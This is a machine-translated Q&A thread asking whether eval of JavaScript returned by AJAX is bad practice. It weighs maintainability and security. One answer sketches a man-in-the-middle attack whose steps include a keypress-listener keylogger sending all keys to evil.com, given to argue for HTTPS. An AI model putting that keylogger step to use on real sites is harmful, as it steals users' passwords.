Считается ли плохой формой выполнение JavaScript, возвращаемого вызовом AJAX?

Question

Я изменяю существующее веб-приложение, которое позволяет администрировать пользователей, которые могут войти в систему.При изменении данных пользователя через диалоговое окно, данные обновления отправляются на сервер через AJAX.Несколько строк JavaScript, чтобы затем обновить текущую страницу, чтобы отразить эти изменения, возвращаются с целью выполнения.Это кажется мне плохой формой - не опасно ли выполнение удаленно полученного JS?

Если бы я изменил это, у меня был бы вызов AJAX, который отправляет обновленную информацию, а затем вызывает другую функцию, которая получает последние данные изсервер через AJAX (или просто обновите страницу, если мне лень).Есть ли какое-либо преимущество (в основном безопасность, но также и с точки зрения архитектуры), чтобы сделать это изменение, или я веду себя как анал?

Answer 1

Предположим, что мы говорим о eval, используемом не-json.

Люди будут рассказывать вам всевозможные вещи, большинство из которых имеет какую-то основу в реальности. Я бы сказал, что одна причина, которая действительно понятна: это сделает код ужасным для обслуживания, и будет очень трудно отследить ошибки.

Есть проблемы с безопасностью, многим нравится прыгать на бандвоне "javascript is the client problem". Я говорю, если это происходит с вашего сайта, это тоже ваша проблема.

В конце концов, нет веской причины, по которой я мог бы использовать javascript с сервера. Передайте данные с сервера и напишите javascript на стороне клиента, чтобы реагировать на эти данные.

Answer 2

Все JS, выполняемые браузером, получают удаленно.

Сервер, который возвратил JS / JSON через AJAX, - это тот же сервер, который возвратил HTML, который вначале вызывал AJAX.

Если возможно сделать что-то плохое, это можно сделать независимо от того, eval является ли он результатом вызова AJAX или нет.

Answer 3

Лично я не вижу проблемы.Конечно, люди говорят такие вещи, как «Это позволяет выполнять код на стороне клиента», однако, если потенциальный злоумышленник может повлиять на это, то это ваша проблема, а не возможность изменить код.

Серьезно, я думаюу вас гораздо более насущные проблемы, чем это.Я лично потратил бы эти 10 минут на просмотр вашего кода и поиск ошибок, вместо того чтобы работать над альтернативой eval ().Я думаю, это немного улучшит вашу безопасность.

Майк Сэмюэл упоминает MITM.Я не понимаю почему.Если вы подвержены атаке MITM, то есть вероятность, что код может быть вставлен прямо в исходную HTML-страницу (опять же, конечно, немного более высокий риск, но стоит ли беспокоиться о нем? Ваш выбор.)

Answer 4

Если доверенный разработчик написал все об этом, и вы защищаете его так же, как и остальную часть своей HTML-страницы, то нет.

Но даже если это JavaScript, написанный довереннымиразработчики, если он обслуживается по HTTP, то злоумышленник может изменить его в полете, потому что HTTP по бесплатному беспроводному соединению часто восприимчив к MITM .

. Это можно использовать для эффективной установки кейлоггера.в текущем окне браузера для кражи паролей пользователей, перенаправления их на фишинговые страницы и т. д.

Атака может работать следующим образом:

1. Веб-страница выполняет GET для http://example.com/foo.js.
2. Атакующий изменяет foo.js в середине полета, чтобы добавить JavaScript, который window.addEventListener("keypress", /* a keylogger that sends all keys to evil.com cross domain by image loading tricks */)
3. Браузер загружает измененный JavaScript.
4. Пользователь вводит пароль в <input type=password>.
5. Злые победы.

Поскольку HTTPS (при условии отсутствия смешанного содержимого) не подвержен MITM, он не уязвим для этой атаки.

Answer 5

Возможно, вы не хотите просто вызывать другую функцию после отправки обновления данных, потому что вы можете отобразить информацию, которая не соответствует действительности, если обновление завершится неудачно.По крайней мере, с текущей моделью ваш сервис может адаптировать javascript в зависимости от того, было ли обновление успешным.Возможно, вы захотите, чтобы служба просто возвращала true / false и чтобы функция обратного вызова обрабатывала обновление пользовательского интерфейса.

Answer 6

Сортировать ответ: Да

Длинный ответ: Вы просто должны отправлять данные как по соображениям безопасности, так и для сохранения отдельных реализаций.

Неправильно очищенная отправленная пользователем информация или реклама могут ввести код изапустить его.Конечно, это должна быть целевая атака, но, может быть, вы работаете на стартап, который будет следующим Google или системой форумов, которая будет следующей vBulliten.Даже если у вас есть 10 пользователей, дыры в безопасности все еще остаются дырами и все еще вредны для вас и ваших пользователей.Кроме того, плохой совет по безопасности, оставленный без внимания, приведет к тому, что другие будут принимать неверные решения.

Вы действительно хотите убедиться, что код, который вы генерируете на лету и отправляете клиенту, верен во всех возможных случаях??Что, если кто-то еще работает только на одной половине системы?Будут ли они знать каждое имя переменной, чтобы избежать топания?Простая отправка данных - это лучший способ не допустить, чтобы «небольшое» изменение в коммуникации клиент / сервер не нарушало все, что неочевидно и отладка займет целую вечность.